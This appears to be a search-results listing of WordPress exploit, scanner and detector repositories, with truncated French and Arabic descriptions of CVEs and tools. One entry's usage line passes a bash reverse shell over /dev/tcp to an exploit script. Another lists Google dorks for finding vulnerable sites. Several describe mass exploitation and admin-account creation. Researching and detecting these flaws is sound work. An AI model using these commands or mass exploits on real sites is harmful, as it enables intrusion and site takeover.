315869 matches found
WordPressMassExploiter
WordPressMassExploiter Exploiteur de masse de la CVE-2015-1579 pour le CMS WordPress Cet exploit de masse est basé sur la CVE-2015-1579, découverte par CLAUDIO VIVIANI https://www.exploit-db.com/exploits/36554/ Comment ça fonctionne : 1 - J'utilise le framework Selenium pour effectuer la recherch...
CVE-2024-2876
CVE-2024-2876 - Vulnérabilité d'injection SQL dans Email Subscribers by Icegram Express Aperçu CVE-2024-2876 est une vulnérabilité de sécurité critique découverte dans le plugin "Email Subscribers by Icegram Express" pour WordPress. Cette vulnérabilité affecte les versions jusqu'à la 5.7.14 inclu...
CVE-2023-26326_Buddyform_exploit
استخدام: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' في الأصل، تطلبت CVE-2023–26326 سلاسل أدوات gadget chains لاستغلالها كثغرة إلغاء تسلسل deserialization. لم تعد هذه الطريقة مجدية على مواقع ووردبريس الأحدث التي تعمل على PHP 8+؛ ومع ذلك، من خلال ربطها مع...
CVE-2025-68860
CVE-2025-68860 إضافة Mobile builder لووردبريس ثغرة تجاوز التحقق من الهوية باستخدام مسار أو قناة بديلة في Mobile Builder تسمح بإساءة استخدام التحقق من الهوية. تؤثر هذه المشكلة على Mobile builder من n/a حتى 1.4.2. نقاط CVSS: 9.8 حرجة المتجه: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H يمكن لمهاجم عن بُعد...
CVE-2026-8181
AR: PoC خاضع للرقابة وملاحظات تقنية موجزة لـ اختبار أمني مصرح به لتجاوز المصادقة في Burst Statistics. AR2: PoC خاضع للرقابة وملاحظات تقنية...
WSS
WSS: ماسح أمان ووردبريس Python الدعم: 3.13.x OS's الدعم: Kali Linux الأحدث Ubuntu الأحدث Windows 10, 11 WSS:في وضع التطوير!!! Google Dorks تحذير! كل إجراء خبيث من جانبك سيكون مسؤوليتك! index of" inurl:wp-content/ 7,370,000 results inurl:"/wp-content/plugins/wp-shopping-cart/" 281,000 results...
CVE-2014-4725
CVE-2014-4725 هذا السكربت يُستخدم لفحص واستغلال ثغرة CVE-2014-4725 ملحقات MailPoet/Wysija للرسائل الإخبارية في ووردبريس. الميزات وضع الفحص كشف أهداف ووردبريس المعرضة لـ CVE-2014-4725 وضع الاستغلال تحميل حمولة ZIP إلى الأهداف الثغرة التثبيت 1. استنساخ المستودع: git clone...
Mass-CVE-2023-28121-kdoec
CVE-2023-28121 WooCommerce Payments 5.6.2 - تصعيد امتيازات بدون مصادقة إضافة مستخدم مدير بشكل جماعي طريقة الاستخدام هذا السكربت يستخدم Python3. قم بتثبيت المتطلبات pip install -r requirements.txt المراجع https://wpscan.com/vulnerability/0f78a245-866c-462e-bd23-43dfadb57072...
CVE-2025-39459-Nuclei-Template
📄 قالب Nuclei لـ CVE-2025-39459 🚀 نظرة عامة يحتوي هذا المستودع على قالب Nuclei مصمم خصيصًا لاكتشاف ثغرة تصعيد الامتيازات غير المصادق عليها CVE-2025-39459 في قالب Real Estate 7 لووردبريس. تسمح هذه المشكلة للمهاجمين غير المصادقين بالتسجيل كمسؤولين عبر إجراء AJAX ضعيف. 🔍 وصف الثغرة تنشأ CVE-2025-394...
CVE-2026-81648
abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · CVE-2026-81648 CVE-2026-81648 CryptoPayment Gateway 1.2.2 - Granwill I am @abraxasnull. Loopback lab. The client is CVE-2026-81648-Abraxas-Labs.py. The guard is never called. Direct POST vendor/cryptd/ajax.php, not...
CVE-2026-84434
CVE-2026-84434 — Téléversement de fichier arbitraire non authentifié dans Gravity Forms Scanner PoC et exploit en Python 3 pour CVE-2026-84434 dans Gravity Forms. | ---|--- Plugin| gravityforms Affecté| ≤ 3.1.0.4 Corrigé dans| 3.1.0.5+ version de sécurité du fournisseur 3.1.1 CVSS| 9.8 Critique...
WP2Shell-Scanner
Scanner WP2Shell Un outil en ligne de commande qui vérifie si un site WordPress est exposé à WP2Shell CVE-2026-63030 et CVE-2026-60137. Il lit la version de WordPress et la surface de l'API REST via des requêtes en lecture seule et rend un verdict. Il n'exploite rien. !WARNING Réservé aux tests...
CVE-2026-76581-Detector
CVE-2026-76581 - Détecteur de vulnérabilité WPMU DEV Dashboard Un détecteur Python sûr et passif pour identifier les installations WordPress exécutant une version de WPMU DEV Dashboard affectée par CVE-2026-76581. Le détecteur n'exploite pas la contournement d'authentification, ne demande ni ne...
CVE-2024-27954
CVE-2024-27954 📝 CVE-2024-27954 - Vulnérabilité de traversée de chemin et SSRF dans le plugin WP Automatic Description Une vulnérabilité de Limitation incorrecte d'un nom de chemin à un répertoire restreint 'Path Traversal' existe dans le plugin WP Automatic, permettant des attaques de Path...
CVE-2026-9830
CVE-2026-9830 PoC d'évaluation de l'API BookingPress Pro Ce dépôt contient une preuve de concept en Python pour valider une exposition non authentifiée signalée de l'API REST BookingPress Pro. Une réponse positive peut contenir des informations de réservation et de client, y compris des données...
xss2shell-check
xss2shell-check Détecteur non destructif et sans dépendances de la primitive de réflexion CVE-2026-64638 « XSS2Shell » dans wp-login.php de WordPress. Contexte CVE-2026-64638 est une XSS réfléchie pré-authentification dans le cœur de WordPress , divulguée par PWN.AI le 2026-08-07 CVSS 8.9, CWE-79...
CVE-2024-10245
CVE-2024-10245 Relais 2FA = 1.0 - تجاوز المصادقة الوصف إضافة Relais 2FA لـ WordPress معرضة لتجاوز المصادقة في الإصدارات حتى 1.0 بما في ذلك. يعود ذلك إلى التحقق غير الصحيح من المصادقة والصلاحيات في دالة rldoajax. مما يجعل من الممكن للمهاجمين غير المصادقين تسجيل الدخول كأي مستخدم موجود في الموقع، م...
CVE-2023-3452---WordPress-Canto-Plugin-RCE
CVE-2023-3452 - ثغرة تنفيذ الأكواد عن بعد في إضافة Canto لووردبريس استغلال لثغرة تضمين الملفات عن بعد RFI في إضافة Canto لووردبريس الإصدارات ≤ 3.0.4. تعمل فعلياً على HTTPS — بينما استسلمت أدوات الإثبات المفاهيمية العامة الأخرى لـ SSL. الفضل لمن يستحقه: تم اكتشاف هذه الثغرة من قبل آخرين. لقد قمت ف...
CVE-2025-68860
WordPress Mobile Builder = 1.4.2 - Authentification cassée CVE-2025-68860 Description Le plugin WordPress Mobile builder version 1.4.2 et inférieures présente une vulnérabilité d'authentification cassée qui permet à un attaquant de créer un token JWT valide avec le secret par défaut "examplekey" ...